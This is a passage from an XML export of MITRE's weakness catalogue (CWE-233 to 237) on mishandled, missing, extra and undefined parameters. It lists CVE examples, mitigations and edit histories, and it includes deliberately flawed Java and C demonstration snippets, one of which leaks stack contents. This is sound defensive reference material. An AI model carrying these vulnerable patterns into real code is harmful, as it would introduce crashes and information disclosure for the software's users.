					          <Relationship_Target_ID>229</Relationship_Target_ID>
					          <!--Improper Handling of Values-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>851</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 06 - Exceptional Behavior (ERR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In the excerpt below, if the value of the address parameter is null
						(undefined), the servlet will throw a NullPointerException.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>String address = request.getParameter("address").trim();</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-1003</Observed_Example_Reference>
					          <Observed_Example_Description>Client crash when server returns unknown driver
						type.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Undefined Value Error</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not catch NullPointerException or any of its
						ancestors</Mapped_Node_Name>
					          <Mapped_Node_ID>ERR08-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Undefined Value
						Error</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-03-10">Failure to Handle Undefined
						Value</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="233" Name="Parameter Problems" Weakness_Abstraction="Class" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to improper handling of
					parameters, fields, or arguments.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>228</Relationship_Target_ID>
					          <!--Improper Handling of Syntactically Invalid Structure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Parameter Problems</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>39</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="234" Name="Failure to Handle Missing Parameter" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>If too few arguments are sent to a function, the function will
					still pop the expected number of arguments from the stack. Potentially, a
					variable number of arguments could be exhausted in a function as
					well.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>233</Relationship_Target_ID>
					          <!--Parameter Problems-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>This entry will be deprecated in a future version of CWE. The term
						"missing parameter" was used in both PLOVER and CLASP, with completely
						different meanings. However, data from both taxonomies was merged into this
						entry. In PLOVER, it was meant to cover malformed inputs that do not contain
						required parameters, such as a missing parameter in a CGI request. This
						entry's observed examples and classification came from PLOVER. However, the
						description, demonstrative example, and other information are derived from
						CLASP. They are related to an incorrect number of function arguments, which
						is already covered by CWE-685.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>There is the potential for arbitrary code execution with privileges of
							the vulnerable program if function parameter list is exhausted.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Potentially a program could fail if it needs more arguments then are
							available.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Build and Compilation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>This issue can be simply combated with the use of proper build
							process.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Forward declare all functions. This is the recommended solution.
							Properly forward declaration of all used functions will result in a
							compiler error if too few arguments are sent to a function.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text/>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>foo_funct(one, two);...</Code>
							              <Code>void foo_funct(int one, int two, int three) {</Code>
							              <Block>
								                <Code/>
								                <Code>printf("1) %d\n2) %d\n3) %d\n", one, two, three);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>void some_function(int foo, ...) {</Code>
							              <Block>
								                <Code>int a[3], i;</Code>
								                <Code>va_list ap;</Code>
								                <Code>va_start(ap, foo);</Code>
								                <Code>for (i = 0; i &lt; sizeof(a) / sizeof(int); i++) a[i] =
									va_arg(ap, int);</Code>
								                <Code>va_end(ap);</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>int main(int argc, char *argv[]) {</Code>
							              <Block>
								                <Code/>
								                <Code>some_function(17, 42);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>This can be exploited to disclose information with no work whatsoever.
							In fact, each time this function is run, it will print out the next 4
							bytes on the stack after the two numbers sent to it.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0276</Observed_Example_Reference>
					          <Observed_Example_Description>Server earlier allows remote attackers to cause a
						denial of service (crash) via an HTTP request with a sequence of "%"
						characters and a missing Host field.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1488</Observed_Example_Reference>
					          <Observed_Example_Description>Chat client allows remote malicious IRC servers to
						cause a denial of service (crash) via a PART message with (1) a missing
						channel or (2) a channel that the user is not
						in.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1169</Observed_Example_Reference>
					          <Observed_Example_Description>Proxy allows remote attackers to cause a denial of
						service (crash) via an HTTP request to helpout.exe with a missing HTTP
						version numbers.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0521</Observed_Example_Reference>
					          <Observed_Example_Description>Web server allows disclosure of CGI source code
						via an HTTP request without the version
						number.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0590</Observed_Example_Reference>
					          <Observed_Example_Description>Application server allows a remote attacker to
						read the source code to arbitrary 'jsp' files via a malformed URL request
						which does not end with an HTTP protocol specification.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0239</Observed_Example_Reference>
					          <Observed_Example_Description>Chat software allows remote attackers to cause a
						denial of service via malformed GIF89a headers that do not contain a GCT
						(Global Color Table) or an LCT (Local Color Table) after an Image
						Descriptor. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1023</Observed_Example_Reference>
					          <Observed_Example_Description>Server allows remote attackers to cause a denial
						of service (crash) via an HTTP GET request without a URI.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1236</Observed_Example_Reference>
					          <Observed_Example_Description>CGI crashes when called without any
						arguments.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0422</Observed_Example_Reference>
					          <Observed_Example_Description>CGI crashes when called without any
						arguments.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1531</Observed_Example_Reference>
					          <Observed_Example_Description>Crash in HTTP request without a Content-Length
						field.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1077</Observed_Example_Reference>
					          <Observed_Example_Description>Crash in HTTP request without a Content-Length
						field.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1358</Observed_Example_Reference>
					          <Observed_Example_Description>Empty elements/strings in protocol test suite
						affect many SSH2 servers/clients.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0477</Observed_Example_Reference>
					          <Observed_Example_Description>FTP server crashes in PORT command without an
						argument.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0107</Observed_Example_Reference>
					          <Observed_Example_Description>Resultant infoleak in web server via GET requests
						without HTTP/1.0 version string.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0596</Observed_Example_Reference>
					          <Observed_Example_Description>GET request with empty parameter leads to error
						message infoleak (path disclosure).</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Missing Parameter Error</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Missing parameter</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Observed_Example, Other_Notes, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Observed_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal" Modification_Importance="Critical">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-09</Modification_Date>
					          <Modification_Comment>added maintenance note: this entry will probably be
						deprecated</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Maintenance_Notes, Other_Notes,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Missing Parameter
						Error</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="235" Name="Improper Handling of Extra Parameters" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software does not handle or incorrectly handles when a
					particular parameter, field, or argument name is specified two or more
					times.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>233</Relationship_Target_ID>
					          <!--Parameter Problems-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>This type of problem has a big role in multiple interpretation
						vulnerabilities and various HTTP attacks.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Modes_of_Introduction>
				        <Mode_of_Introduction>
					          <Text>This typically occurs in situations when only one element is expected to
						be specified.</Text>
				        </Mode_of_Introduction>
			      </Modes_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-1014</Observed_Example_Reference>
					          <Observed_Example_Description>MIE. multiple gateway/security products allow
						restriction bypass using multiple MIME fields with the same name, which are
						interpreted differently by clients.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Extra Parameter Error</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>460</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Modes_of_Introduction, Relationships,
						Relationship_Notes, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Extra Parameter
						Error</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-03-10">Failure to Handle Extra
						Parameter</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="236" Name="Improper Handling of Undefined Parameters" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software does not handle or incorrectly handles when a
					particular parameter, field, or argument name is not defined or supported by the
					product.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>233</Relationship_Target_ID>
					          <!--Parameter Problems-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1488</Observed_Example_Reference>
					          <Observed_Example_Description>Crash in IRC client via PART message from a
						channel the user is not in.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0650</Observed_Example_Reference>
					          <Observed_Example_Description>Router crash or bad route modification using BGP
						updates with invalid transitive attribute.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Undefined Parameter Error</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Observed_Example,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Undefined Parameter
						Error</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-03-10">Failure to Handle Undefined
						Parameter</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="237" Name="Improper Handling of Structural Elements" Weakness_Abstraction="Class" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software does not handle or incorrectly handles inputs that
					are related to complex structures.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>228</Relationship_Target_ID>
					          <!--Improper Handling of Syntactically Invalid Structure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
